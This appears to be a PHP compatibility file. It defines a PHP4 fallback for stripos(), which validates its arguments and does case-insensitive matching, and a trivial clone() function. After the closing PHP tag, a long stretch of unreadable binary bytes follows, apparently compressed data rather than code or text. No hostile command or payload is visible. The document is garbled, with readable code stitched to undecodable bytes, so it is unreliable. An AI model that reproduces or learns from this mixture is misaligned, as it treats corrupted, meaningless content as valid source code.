4 $ * @since PHP 5 * @require PHP 4.0.0 (user_error) */ if (!function_exists('stripos')) { function stripos($haystack, $needle, $offset = null) { if (!is_scalar($haystack)) { user_error('stripos() expects parameter 1 to be string, ' . gettype($haystack) . ' given', E_USER_WARNING); return false; } if (!is_scalar($needle)) { user_error('stripos() needle is not a string or an integer.', E_USER_WARNING); return false; } if (!is_int($offset) && !is_bool($offset) && !is_null($offset)) { user_error('stripos() expects parameter 3 to be long, ' . gettype($offset) . ' given', E_USER_WARNING); return false; } // Manipulate the string if there is an offset $fix = 0; if (!is_null($offset)) { if ($offset > 0) { $haystack = substr($haystack, $offset, strlen($haystack) - $offset); $fix = $offset; } } $segments = explode(strtolower($needle), strtolower($haystack), 2); // Check there was a match if (count($segments) === 1) { return false; } $position = strlen($segments[0]) + $fix; return $position; } } /** * Ported PHP5 function to PHP4 for forward compatibility */ function clone($object) { return $object; } ?>x;r۸gjí7Z")YHJ9NIqRgDB"me}=ޞa"%Z'w׉Mݍ:2qrEXq?=+n:5z?~K8{}X5<7o?r@#ZX m(5}a۳٬>kֹחWlE u_V(et̨OƋ؄Ų T =fRU6 StzϤ')bNJŪgU4)>a$ ` J%_&&X"v[6Z|YYd_a𠓐c 9i |02)'vSiЋL{_c,@MXvf1b7*~:9 ' |p"yLCp"+(~G#` \ iH]pE \ 3hK|&BJh-~_&aN)<+yLF"匉 7,Q @? <$k^ǿD\*JXE!v} l_%̗RW_G)e~@>\qd[¤r~ P]3|O|tlgq)j (a \@gIqZPciʐH VDDK"L;Wz|UqϾ Œ MqچHFa| F=F@N OK:FGѐBKUhpV͉]F}L_qmzP9c~Qwwh{^\-EB vO(XN{DLˆш\cw=԰v (0]F^/B2+x"j10O4 Hۣbsl{Ro&!M~pkg^iNt12 }NO`g Q8w ESo9^ UB?w>P Bik|m+R|:&ŦV*a/fƺa/ i+UHO1$vB8bw,BtyuWjJPMAڅ)An8-N~nӱ|H 9~FGk 2}<0#ูJņ<h2* WĸU $F1OTZ|-ϲl6?6κ_?RYK^9<ŠXKUaKZ0)M?k[6$bTl~e;%X`|Sc'<F XpL??'s_Z3^"WPelD!?}|t͐SJY?2BYxK`VUj'F= hzL6>rXū #3 ߰] g&=-O=i߅F,KW`9`MN8RD<5SFI܅lfc ~Ȇm ?տ(m9TQ1fQX|6%6Ǎ{AA5F"۩9nmyqxԵSzlQtB@!nd`.^SМL-Tz=8 .$VؽXF,NQ,Pq ⁵?>i4A85ׅ؋f Li4bӀưھ xA1dzD~t,@&m-Sӱ({r" ›0vM-M. 9|qX#4D1ElުF <E~5=W>p&];'4)5_|a언-"ҧ0hE#Wyju |WҮ^nx~"Ϗ b5YdPXԡ`q*pՔhmWsp3BJpEL/S&&ʮ޾4JhɼD0ơTlI9=r`1Ln8);:Q(|1fuP-Uz#0q0<<ܔXa?bw~L5`AV 'O/ Yzr>^0=@ubT2$1~xw~N>r}R׬xA"@pMO]%6q07v ޹xƜ#6Щ$HTgם;(hF VC?\h<7 %ol}a.Lyk쌘fnmPrxhmU%On7䕝q jno+)4;W1W<"s6h"jtQ}> ~{y][nlO<7ĝK;Y )<} K\I^9=dcU)i$͌mꗶPR~ t!8CM#D}3EzE-z! ՆK-+.zk8YbfJN[J~ʾtCRD Q/Xj4e2]2L9iח),Ȭ 5 ;PLнpX'$*J&J}NbCZgJ[%)]~tV\p/ C6knWloW1%>Yޥ 'NrDT8#>g+5T`R8e/SXжEJ& v:fy{F SHYf=bn{G8q:.;beߌC|ىܪqVNͶ8Jr0 ccsƒ,WZm/sH> X{W>[Է/7>ec:Z!,cCɌɸ0*Kp"\sSdb8wF#Rj\4q8K0PxۻPG|%`T